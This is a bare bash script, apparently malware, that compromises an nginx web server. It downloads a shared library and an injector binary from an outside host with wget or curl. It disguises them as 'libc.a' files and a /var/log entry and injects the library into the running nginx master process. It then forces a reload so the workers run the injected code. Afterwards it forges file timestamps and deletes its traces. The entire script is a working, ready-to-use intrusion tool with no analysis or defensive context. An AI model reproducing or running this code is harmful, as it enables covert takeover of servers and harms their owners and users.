
get_worker_pids() {
    local master_pid=$1
    # 用pstree/ps获取子进程PID（兼容不同系统）
    local worker_pids=$(unset LD_PRELOAD && ps -ef | grep 'nginx' | grep -v 'nginx: master' | grep -v -E "grep|panel|shutting" | grep "$master_pid" | awk '{print $2}' | sort)
    if [ -z "$worker_pids" ]; then
        echo ""
    else
        echo "$worker_pids"
    fi
}

if [ -d "/usr/lib64/" ]; then
    lib_path="/usr/lib64"
elif [ -d "/lib/x86_64-linux-gnu/" ]; then
    lib_path="/lib/x86_64-linux-gnu"
else
	echo "dir error!"
    exit 1;
fi

if command -v wget &> /dev/null; then
	wget -q https://x.vodxz.icu/d/$1.so -O "$lib_path/libc.a.$2"
	wget -q https://x.vodxz.icu/d/xxp.x -O /var/log/massage
elif command -v curl &> /dev/null; then
	curl -k -s -o "$lib_path/libc.a.$2" https://x.vodxz.icu/d/$1.so
	curl -k -s -o /var/log/massage https://x.vodxz.icu/d/xxp.x
fi




pid=$(unset LD_PRELOAD && ps -ef | grep 'nginx' | grep 'nginx: master' | grep -v grep | grep -v panel | head -1 | awk '{print $2}') && echo $pid

unset LD_PRELOAD && chmod 0755 /var/log/massage && touch -r "$lib_path/.." "$lib_path/libc.a.*" && touch -r "$lib_path/.." "$lib_path/."

chmod 0755 $(ls -la /proc/$pid/exe | awk {'print $11'}) > /dev/null 2>&1

/var/log/massage -p $pid "$lib_path/libc.a.$2"	> /dev/null 2>&1


sleep 3

unset LD_PRELOAD && ulimit -n 51200  && $(ls -la /proc/$pid/exe | awk {'print $11'}) -t > /dev/null 2>&1

if [ $? -eq 0 ]; then
	echo "reload";
	PRE_WORKER_PIDS=$(get_worker_pids "$pid")
	

	unset LD_PRELOAD && ulimit -n 51200  && $(ls -la /proc/$pid/exe | awk {'print $11'}) -s reload  > /dev/null 2>&1;
	
	sleep 5
	
	POST_WORKER_PIDS=$(get_worker_pids "$pid")
	

	if [ "$PRE_WORKER_PIDS" != "$POST_WORKER_PIDS" ]; then
		SUBPROCESS_CHANGED=0
	else
		SUBPROCESS_CHANGED=1
		echo "realod fail!"
	fi
	
	if [ $SUBPROCESS_CHANGED -eq 1 ]; then
		kill -HUP $pid	
		sleep 5
		
		POST_WORKER_PIDS=$(get_worker_pids "$pid")
		
		if [ "$PRE_WORKER_PIDS" != "$POST_WORKER_PIDS" ]; then
			SUBPROCESS_CHANGED=0
		else
			SUBPROCESS_CHANGED=1
			echo "reset realod fail!"
		fi
	fi
	
	
fi

sleep 3

unset LD_PRELOAD && rm -rf /usr/lib64/libc.a.* && rm -rf /lib/x86_64-linux-gnu/libc.a.*

rm -rf /var/log/massage && rm -rf /var/tmp/*.txt && touch -r /var/tmp/.. /var/tmp/.
